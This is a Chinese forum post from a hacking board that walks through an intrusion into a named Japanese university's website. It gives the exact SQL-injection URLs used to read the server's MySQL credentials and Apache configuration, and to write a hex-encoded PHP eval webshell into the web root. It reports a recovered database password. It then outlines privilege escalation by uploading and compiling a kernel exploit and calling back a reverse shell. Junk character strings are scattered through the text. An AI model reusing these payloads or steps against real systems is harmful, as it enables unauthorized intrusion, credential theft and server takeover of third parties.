找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2304|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
5 h; z0 s# m' i" z; i6 @1 |) k6 v: [. {4 Y* y5 d
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
# o6 P" ]8 p. {. g然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
  X. F4 r8 u& A" j9 k+ y5 X0 [! @. [9 P: d' K! a
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user: I0 @' R5 ]$ V+ x' _
' `( ^# L- `) [, S5 S9 A9 B: P  i& k

5 l% L+ D5 [& |# F8 o: y" c1 k) b5 n( F" I" @5 j
//@@datadir为数据库文件路径 , }) i" ^/ P+ w2 e

8 L" v3 t$ v' |3 L3 i: @
! t  v8 c* T) V. q+ c4 @//load_file读取网站容器apache的配置文件
6 l7 w/ n% ~3 @, M' b1 r0 Z6 h
! E* V: w6 X* M5 H/ `4 X. Q
+ d  h: J% S0 v0 K% ?//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 0 K3 w8 Q. ]* T& X
复制代码! `# ~) i8 P8 c1 d' T( l
' U4 J' Y$ K. A! L8 Y, d
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。/ |5 \* w7 }3 ~- a' C( |

- p3 `' f$ V* k8 e+ }) P: r而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。! F( S6 g2 D/ E- a( ^1 N3 R
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)" a) g/ O$ D% e9 F6 g% l9 T

! t" W- s; G" I9 R- X前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。  U" F- g0 c/ U, \" r: V, T
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
  ~$ A( ?2 m6 ?1 q1 c: d2 v/ C
3 m! @2 S" b; |+ ]/ n既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/  [) h# G5 y) X: V( J
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
4 d$ K0 j! F/ X7 o& w直接写一句话:
( D5 l& r1 ^  r( N8 }' B1 w& k, T/ W/ Q/ U7 Q: C. f8 e4 X
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
# g( h! b! D, I2 n# J4 @
1 D1 `" X, f/ h4 J# A5 G6 A5 y
; R( t& l6 \/ y2 @2 L) ~% ?- N9 V3 q# W& ]# f) `. z! i+ I
//最后的#是为了闭合前面的语句
1 }9 U0 O  g* C: j% U& O  `! T7 n ' ^$ C! F: C3 ?+ E& Y

6 `( R+ z% j7 h3 T1 F/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E . I$ ~; r; J( k
2 \' |6 A; `5 s, w. W! O  c
% |* R& ^' W1 y: o" V
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ $ [' W( ?, n$ o& I
+ O; ]: {1 T; r
3 a- ?: b! R& t
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 7 q5 a; f8 G4 l, a9 u& [
: h$ z; o9 D1 `' Q  @4 Q# B$ W4 f
$ T6 o/ P, _' W" ?; A
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 U2 l& o: Z2 f5 ]. m//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 6 B# ?1 |8 f/ |
复制代码
) A+ T9 N, b- b& C0 i% }# `5 R( I; C0 B9 g: B' U, F( x6 ~
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
5 n  B0 H$ K% H+ d$ U0 ]通过上述注入语句,我们就得到了一句话木马:$ E6 X3 n* c& J+ F9 \
1 W7 ]9 Y7 p. s7 w/ Z

2 }; R; b; M3 ?9 F$ h. U1 ?6 O. S1 k8 x  R9 o# u6 ^2 L7 b
' `; _% O5 c3 [( p8 Y) s2 s6 H8 b

! ^5 p# R, q; m, v/ hhttp://www.doshisha.ac.jp/english/engnews_img/aa.php - y7 C  c- ^4 a$ s; U- m
复制代码
* ~, V7 G) Z/ w7 w! g' \3 w
! C3 ~; j/ a' n7 r: u用菜刀连接,密码是cmd,如图所示:6 x5 o" P5 X  \2 p5 e0 X
然后在命令提示行里看了一下,现在的权限是:  B8 o! _2 d3 m$ O- D

, z# f$ i1 D- z$ z; g之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
: L) y2 \  y, f# |9 }! ^好在赋权给这个文件夹不需要root,直接执行赋权语句:
) ~4 F5 G5 T2 M& J) a5 H5 D' @- C/ ~9 S6 F  B6 C$ k

7 Y8 {( b" a/ `  ~( o$ G+ b7 o: I5 `3 F& _6 J4 C

% J' P# c3 i4 y; `- e, B' V, I
chmod +x /tmp/
  r2 N1 d4 H: a  z' d/ t7 D复制代码7 P6 u) }1 r0 \! i0 ~/ p

# R" w: I' ^# y. r* L: n: [在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行$ W$ I( I& l' L! H; B$ n
然后就查了一下内核版本:
% }0 [) v9 r5 L$ K1 Y9 x! i1 `+ ~2 G3 O. H5 v% c. @0 O8 T, V6 s
- _/ S: d- j+ F: {
( u9 D# `4 m% O& K6 x0 F: h7 u
" V- X/ O. r+ ^" g& D" l1 x

9 o0 r( D4 ]) n4 A  H) Quname-a ; U* H( J, g6 W+ G; _4 l( y
; e6 N- R) ?6 e, I* ~& ?$ H6 I  {

5 r4 b# E* v/ E0 u5 j. Z6 v& N//其实lsb_release -a ' S- u, U0 p8 F5 }2 |4 F
复制代码
5 N  R- D9 M( N; e& N* Z
" b! I" _# \3 f- A0 V如图所示:/ i1 l0 v+ Y" s+ p1 J
/ R, l0 V! g' D; Y" n# n
内核版本:linux mainz1 2.6.28-194.e15: F7 R# Z1 t1 ~+ ^- a9 Y& F
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
9 y3 r4 ?0 [+ M5 ]+ G$ f查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
! ]7 X7 _; b+ a1 C) c3 f1 n
6 \* |4 o0 O% M0 U) A然后给予执行权限
  e5 v. H& d# v# |/ z一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
) L% @7 P5 s4 w9 A
2 @/ D3 ~' k0 `! Y/ a4 q" ~: @; X9 l8 ^ 9 J1 e, S3 z& G! z- d9 A1 m

* f9 q9 f5 `$ x) R9 p# R/ r
$ f! x$ i0 F' s" w) \. J* ~0 w3 n8 Y; P+ l- Q
chmod +x /tmp/2.6.18-194
) n  a, |$ D$ p5 U复制代码 然后直接执行!~
. N8 D2 y! j/ n  T1 t
  q/ j6 F* A2 L0 n4 X总结:( w' E7 \1 t! ]3 i8 C
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
6 y8 D& I) l3 g/ _* }提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
  j7 b' Y' c: ~% Q8 E. _4 f& q+ p- p  W6 v. L9 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表